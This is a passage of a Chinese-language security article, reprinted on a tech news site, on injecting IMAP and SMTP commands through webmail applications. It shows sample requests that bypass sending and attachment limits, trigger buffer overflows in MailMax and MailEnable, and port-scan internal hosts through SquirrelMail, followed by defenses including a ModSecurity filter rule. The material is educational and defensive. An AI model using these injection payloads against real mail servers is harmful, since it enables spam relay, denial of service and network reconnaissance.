科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网服务器频道如何利用注射技术攻击邮件服务器?

如何利用注射技术攻击邮件服务器?

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

本文将详细介绍通过跟邮件服务器通信的Web应用程序,即webmail应用来注入某些邮件协议(IMAP和SMTP协议)命令来攻击邮件服务器的原理、方法和防御措施。

来源:51cto 2009年9月9日

关键字: 服务器 邮件服务器

  • 评论
  • 分享微博
  • 分享邮件

在本页阅读全文(共5页)

(七)绕过各种限制

采用的技术:SMTP注射

用户认证要求:有


这里跟前面的转发和垃圾邮件的情形相一致。在此种情况下,通过注入SMTP命令可以绕过施加在应用程序级别上的各种限制。下面通过一些实例加以说明。

绕过允许发送的电子邮件最大数量的限制

假定一个webmail应用程序只允许发送特定数量的电子邮件,也就是对发送次数有所限制。在SMTP注射的帮助下,我们可以轻松地绕过该限制,方法很简单,只要添加跟攻击者想要发送的目的地址一样多的RCPT命令即可:

POST http:///compose.php HTTP/1.1

-----------------------------134475172700422922879687252

Content-Disposition: form-data; name="subject"

Test

.

MAIL FROM: external@domain1.com

RCPT TO: external@domain1.com

RCPT TO: external@domain2.com

RCPT TO: external@domain3.com

RCPT TO: external@domain4.com


Data

Test

.

-----------------------------134475172700422922879687252

...

这将导致向邮件服务器发送下列SMTP命令:

MAIL FROM:

RCPT TO:

DATA

Subject: Test


.

MAIL FROM: external@domain.com

RCPT TO: external@domain1.com

RCPT TO: external@domain2.com

RCPT TO: external@domain3.com

RCPT TO: external@domain4.com

DATA

Test
.
...

绕过电子邮件附件的最大值

假定一个webmail应用程序限制了一个电子邮件所带附件的数量,那么我们就可以通过注射SMTP命令来绕过此限制。下面是一个例子,这里通过有弱点的参数“subject”来附加三个文本文件:

...

-----------------------------134475172700422922879687252

Content-Disposition: form-data; name="subject"

Test

.

MAIL FROM: user1@domain1.com
RCPT TO: user2@domain2.com
DATA

Content-Type: multipart/mixed; boundary=1234567

--1234567

Content-type: text/plainContent-Disposition: attachment; filename=1.txt

Example 1

--1234567

Content-type: text/plain

Content-Disposition: attachment; filename=2.txt

Example 2

--1234567

Content-type: text/plain

Content-Disposition: attachment; filename=3.txt

Example 3

--1234567--

.

-----------------------------134475172700422922879687252

...

这将导致再次向邮件服务器发送以下SMTP命令:

MAIL FROM:

RCPT TO:

DATA

Subject: Test

.

MAIL FROM: user1@domain1.com

RCPT TO: user2@domain2.com

DATA

Content-Type: multipart/mixed; boundary=1234567

--1234567

Content-type: text/plain

Content-Disposition: attachment; filename=1.txt

Example 1

--1234567

Content-type: text/plain

Content-Disposition: attachment; filename=2.txt

Example 2

--1234567

Content-type: text/plain

Content-Disposition: attachment; filename=3.txt

Example 3

--1234567--

.

...

通过利用所有这些技巧,攻击者想发送多少电子邮件就能发多少,想带多少附件就带多少。

(八)协议弱点的利用

如果能够在邮件服务器中执行任意命令的话,那么攻击者就能通过向该服务器发送某个命令来利用现有的漏洞。现在举例说明:

针对邮件服务器的DoS攻击

例如MailMax的版本5中的缓冲区溢出,如果在参数SELECT中使用长达256字符的邮箱名称的话,就会导致在邮件服务器中弹出一则消息:“Buffer overrun detected ! -Program :\IMAPMax.exe ”。这时,服务器会停止,并且必须手动重新启动。

假如webmail的前台页面中的参数“mailbox”具有IMAP注射缺陷的话,可以用下列方式利用这个缺陷(这要求用户是经过认证的):

http:///src/compose.php?mailbox=INBOX%0d%0aZ900 SELECT "aa...[256]...aa" 

在邮件服务器中执行任意代码

另一种可利用的例子是IMAP服务器MailEnable。它在命令STATUS中有一个缓冲区溢出漏洞,这使得可以在IMAP服务器中执行任意代码。假如我们发现了一个可以对其“mailbox”参数进行IMAP注射的webmail应用程序,那么我们就可以利用用下列方式来进行利用(这要求用户已经过认证):

http:///src/compose.php?mailbox=INBOX%0d%0aZ900 STATUS
 (UIDNEXT UIDVALIDITY MESSAGES UNSEEN RECENT)%0d%0a 

扫描内部系统的端口

IMAP服务器UW-IMAP允许任何人利用SELECT命令扫描系统端口,该命令具体形式是:

SELECT " {ip:port} "

下面我们通过一个具体例子来介绍如何利用1.4.2版的SquirrelMail对这个弱点进行利用,我们这里假设参数“mailbox”具有IMAP注射漏洞(这个特殊的弱点要求用户是已经登录的):

1.请求在系统192.168.0.1中一个打开的端口

http:///src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox={192.168.0.1:80}  

这会生成下来消息:

ERROR : Connection dropped by imap-server.

Query: SELECT "{192.168.0.1:80}"

2.请求在系统192.168.0.1中已经关闭的端口(21)

http:///src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox={192.168.0.1:21} 

上面的请求的应答显示了这样一则消息:

ERROR : Could not complete request.

Query: SELECT "{192.168.0.1:21}"

Reason Given: SELECT failed: Connection failed to 192.168.0.1,21: Connection refused

一个存心不良的用户可以从这两个IMAP服务器的应答的差别中推断出所请求的端口的状态。

总之,由于邮件服务器注射技术使得邮件服务器对于攻击者或者渗透测试人员来说成为可见的,所以能够利用常规情况下无法利用的漏洞。从web应用程序安全审计员角度来看,发现和利用这些漏洞的能力是一件难得的利器。

(九)IMAP和SMTP注射之间的比较

下面对IMAP和SMTP注射之间进行一些比较,以便读者更好地了解他们之间的区别。

首先,在是否要求认证方面,IMAP注射不要求事先经过认证;但是SMTP注射却要求经过认证。

其次,在攻击类型方面,IMAP注射可以发动以下类型的攻击:

◆信息泄漏
◆IMAP协议的利用
◆绕过CAPTCHA
◆SMTP注射可以发动以下类型的攻击:
◆信息泄漏
◆SMTP协议的利用
◆转发/垃圾邮件
◆绕过各种限制

六、防御措施

与其它允许用户(攻击者)注入数据的漏洞的防御措施相似,Webmail应用的保护需要运用其开发队伍提供的各种保护措施。但是,为了降低攻击者利用这些类型弱点的可能性,邮件服务器管理员必须采用更恰当的安全措施以实现深度防御。下面,我们介绍一些有效对付这些类型的攻击的措施。

(一)输入数据验证

应用程序用到的所有输入数据,包括非用户直接提供的数据和应用程序内部使用的数据,都必须进行无害化处理,删掉所有可能被恶意使用的字符。在利用数据进行任何操作之前,必须进行合法性检验。如前所述,在执行一个新的IMAP/SMTP命令时,要求前面的命令必须用CRLF结束。为了确保无法注入额外的命令,您可以在将其传递给邮件服务器之前删除输入数据中的这类字符。

(二)IMAP/SMTP服务器的配置

如果只有通过webmail应用程序才能访问邮件服务器的话,这些服务器必须对国际互联网是不可见的。除此之外,还要对这些服务器进一步加固,比如禁用非绝对必要得命令等等。从而使邮件服务器注射攻击的影响降低到最小程度。

(三)应用程序防火墙

如果我们已经用其它的保护系统部署了一个应用程序防火墙,那么可以添加一条规则,来过滤有邮件服务器注射缺陷的参数,从而防止这些命令被注入到邮件服务器中。比如,可以将ModSecurity用作应用程序防火墙。根据前面介绍的SquirrelMail示例,可以添加如下规则:

SecFilterSelective "ARG_mailbox" "\r\n"

这会过滤掉参数“mailbox”中注入的序列。

七、总结

本文通过两种Webmail应用程序,SquirrelMail和Hastymail,详细介绍了对具有邮件服务器注射漏洞的服务器的攻击技术。然而,任何使用SMTP和IMAP协议的应用程序,甚至Webmail应用类型之外的应用程序也都面临这种攻击的威胁。最后,介绍了针对这种攻击的防御措施。

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章